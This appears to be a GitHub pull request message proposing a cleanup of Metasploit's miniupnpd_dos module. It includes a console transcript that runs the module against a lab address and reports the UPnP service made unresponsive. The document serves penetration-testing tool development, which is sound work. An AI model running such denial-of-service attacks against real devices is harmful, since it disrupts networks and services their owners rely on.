Clean for miniupnp_dos.rb

Hi @viris,

It's my attempt to clean https://github.com/rapid7/metasploit-framework/pull/1842 and check if the service is still available and send more packets if needed. Feel free to review, test, comment and discuss anything. Once you feel comfortable with the code just land this pull request into your repo and the original https://github.com/rapid7/metasploit-framework/pull/1842 will be automatically updated and ready to go :)

Test after clean:

```
msf > use auxiliary/dos/upnp/miniupnpd_dos 
msf auxiliary(miniupnpd_dos) > set rhost 192.168.172.200
rhost => 192.168.172.200
msf auxiliary(miniupnpd_dos) > run

[*] 192.168.172.200:1900 - Checking UPnP...
[*] 192.168.172.200:1900 - UPnP DoS attempt 1...
[*] 192.168.172.200:1900 - Sending malformed packet...
[*] 192.168.172.200:1900 - The target should be unresponsive now...
[+] 192.168.172.200:1900 - UPnP unresponsive
[*] Auxiliary module execution completed

```